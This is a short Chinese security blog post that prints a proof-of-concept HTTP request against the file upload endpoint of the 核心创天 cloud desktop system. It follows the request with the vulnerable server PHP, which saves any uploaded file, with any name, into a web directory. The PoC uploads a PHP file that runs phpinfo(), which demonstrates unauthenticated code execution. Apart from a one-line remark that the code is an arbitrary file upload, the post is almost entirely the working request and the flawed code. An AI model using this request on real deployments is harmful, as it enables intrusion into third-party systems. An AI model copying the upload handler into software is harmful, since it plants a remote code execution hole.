昨天有个老哥发了个核心创天云桌面系统远程命令执行的POC,刚好笔者手上有一份代码。我们看一看,程序代码是怎么写的吧。

POC

POST /Upload/upload_file.php?l=test HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 183

------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/avif

<?php phpinfo(); ?>
------WebKitFormBoundaryfcKRltGv--

对应的文件位于:\VENGD\ManagerWEB\htdocs\Upload\upload_file.php

具体实现

<?php
function writeLog($msg){
	$logFile = date('Y-m-d').'.txt';
	$msg = date('Y-m-d H:i:s').' >>> '.$msg."\r\n";
	file_put_contents($logFile,$msg,FILE_APPEND );
}
//require("vesystem/msg_define/session_lib.php");
if ($_FILES["file"]["error"] > 0)
{
  //  echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
	echo "_Requst:<br>";
		/* 	foreach($_REQUEST as $name => $value)
			{
				 $name."=".$value."<br>";
			}
			//echo "_FILES:<br>";
			foreach($_FILES as $array_name=>$array_value)
			{	
			$array_name."=".$array_value."<br>";
				foreach($_FILES[$array_name] as $name => $value)
				{
				$name."=".$value."<br>";
				}
			} */
		$l = $_GET['l'];
		
		//拆分字符串按“/”分割字符
		$arrpath = explode("/",$l);
		$m = count($arrpath);
		
		
		$file_e = "";
		if ($m>1){
			for($i=0;$i<$m;$i++){
				$file_e .= $arrpath[$i];
				
				
				if(!file_exists($file_e)){
					mkdir($file_e, 0777);
				}
				$file_e .= "/";
			}
			
		}else{
			
			//判断文件夹是否存在 ,不存在就新建个
			
			
			if(!file_exists($l)){
				mkdir("$l", 0777);
			}
		}
		
		
		
		$target_path=$_SERVER["DOCUMENT_ROOT"]."/Upload/".$l."/".$_FILES["file"]["name"];
       
       
		if (file_exists($target_path))
		{
			unlink($target_path);
		}
		
		
		$a = 'old_file='.$_FILES["file"]["tmp_name"];
		
		writeLog($a);
		writeLog('new_file='.$target_path);
	$target_path = str_replace ( '//', '/', $target_path );
	
	writeLog('new_file2='.$target_path);
	
   $varerror =  move_uploaded_file($_FILES["file"]["tmp_name"],$target_path);
	
	writeLog('$varerror='.$varerror);
}
?>

这代码就写的离谱。这标准的任意文件上传啊。无法评价,大家自行欣赏吧。


本文迁移自知识星球“火线Zone”

    说点什么吧...